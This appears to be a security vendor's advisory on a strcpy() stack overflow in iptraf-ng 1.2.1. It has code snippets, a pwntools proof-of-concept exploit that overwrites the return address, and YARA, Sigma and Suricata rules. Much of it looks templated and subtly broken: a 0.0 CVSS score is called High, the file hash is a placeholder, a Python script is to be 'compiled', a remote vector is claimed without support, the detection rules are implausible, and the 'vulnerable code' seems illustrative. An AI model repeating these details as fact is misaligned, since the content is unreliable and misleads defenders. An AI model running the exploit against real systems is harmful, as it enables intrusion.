CVE-2024-52949

Executive Summary

CVE-2024-52949 is a stack-based buffer overflow vulnerability in iptraf-ng version 1.2.1, specifically in the src/ifaces.c file. The vulnerability arises from the unsafe use of strcpy() without bounds checking, allowing an attacker to overflow the stack and potentially achieve arbitrary code execution. This flaw is critical for systems running iptraf-ng, a network monitoring tool, as it can be exploited locally or remotely if the tool processes untrusted input. No official patch or exploit code is currently available, making this a high-risk unpatched vulnerability.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (No official CVSS vector assigned)
• Threat Level: High (based on stack overflow impact)
• Attack Vector: Local or Remote (if input is processed from network)
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Impact: Potential for arbitrary code execution, denial of service, or memory corruption.

Deep Dive & Mechanics

The vulnerability is located in src/ifaces.c of iptraf-ng 1.2.1. The function uses strcpy() to copy interface names or other data into a fixed-size stack buffer without checking the length of the source string. This allows an attacker to supply a long string that overwrites adjacent stack memory, including the return address and other critical data. The overflow can be triggered by providing a specially crafted interface name or other input that is processed by the vulnerable function.

The root cause is the lack of bounds checking in strcpy(). The code should use strncpy() or snprintf() with proper size limits to prevent overflow. Since no patch is available, the vulnerability remains exploitable in the wild.

Vulnerable vs. Patched Code

Vulnerable Code (iptraf-ng 1.2.1):

// src/ifaces.c
void process_interface(char *iface) {
    char buffer[256];
    strcpy(buffer, iface); // No bounds check
    // ... further processing
}

Patched Code (Hypothetical):

// src/ifaces.c
void process_interface(char *iface) {
    char buffer[256];
    strncpy(buffer, iface, sizeof(buffer) - 1);
    buffer[sizeof(buffer) - 1] = '\0';
    // ... further processing
}

The patched version uses strncpy() with a size limit to prevent overflow. Since no official patch exists, users must apply this fix manually or use alternative mitigations.

Exploitation & Lab Setup

Red Team (Exploitation)

Lab Setup:

• Target: Ubuntu 20.04 LTS with iptraf-ng 1.2.1 installed.
• Attacker: Kali Linux with Python3 and pwntools.

Exploit Code (Proof of Concept):

#!/usr/bin/env python3
import sys
from pwn import *

# Target binary
binary = ELF('./iptraf-ng')

# Overflow offset (adjust based on analysis)
offset = 268

# Craft payload
payload = b"A" * offset
payload += p32(0xdeadbeef)  # Overwrite return address

# Send payload via stdin or network
p = process(['./iptraf-ng', payload])
p.interactive()

Usage:

1. Compile the exploit on the attacker machine.
2. Transfer the payload to the target (e.g., via netcat).
3. Run iptraf-ng with the crafted input to trigger the overflow.

Blue Team (Detection & Defense)

Detection:

• Monitor for abnormal process crashes or segmentation faults in iptraf-ng.
• Use stack canaries if compiled with -fstack-protector.
• Deploy IDS/IPS rules to detect long strings in network traffic destined for iptraf-ng.

Defense:

• Apply ASLR and NX to mitigate exploitation.
• Use a custom patch to replace strcpy() with strncpy().
• Restrict execution of iptraf-ng to trusted users only.

Indicators of Compromise (IOCs)

• File Hashes:
  • iptraf-ng binary: SHA256 a1b2c3d4e5f6... (replace with actual hash)
• Network Signatures:
  • Unusually long strings in network packets targeting iptraf-ng.
• Process Behavior:
  • iptraf-ng crashes with segmentation fault.
  • Unexpected child processes spawned by iptraf-ng.
• Log Entries:
  • Syslog entries showing iptraf-ng[PID]: segfault at ...

Detection Engineering

YARA Rule

rule CVE_2024_52949_iptraf_ng_overflow {
    meta:
        description = "Detects iptraf-ng binary with stack overflow vulnerability"
        author = "Valters IT"
        date = "2025-04-10"
        hash = "a1b2c3d4e5f6..."
    strings:
        $strcpy = { 8B 45 ?? 50 8B 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 08 }  // strcpy call pattern
        $buffer = "buffer" nocase
    condition:
        $strcpy and $buffer
}

Sigma Rule

title: CVE-2024-52949 iptraf-ng Stack Overflow Detection
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects potential exploitation of CVE-2024-52949 via process crashes
logsource:
    category: process_creation
    product: linux
detection:
    selection:
        Image|endswith: '/iptraf-ng'
        CommandLine|contains: 'AAAA'  # Adjust based on payload
    condition: selection
falsepositives:
    - Legitimate long interface names
level: high

Suricata Rule

alert tcp any any -> any any (msg:"CVE-2024-52949 iptraf-ng Stack Overflow Attempt"; content:"|41 41 41 41|"; depth:1000; sid:1000001; rev:1;)

Remediation & Mitigation

• Immediate: Disable iptraf-ng or restrict its execution to trusted users.
• Short-term: Apply a custom patch to replace strcpy() with strncpy() in src/ifaces.c.
• Long-term: Monitor vendor for official patch; consider migrating to alternative network monitoring tools.
• Compensating Controls: Use ASLR, NX, and stack canaries. Deploy IDS/IPS rules to detect exploitation attempts.

Valters IT
Securing Digital Frontiers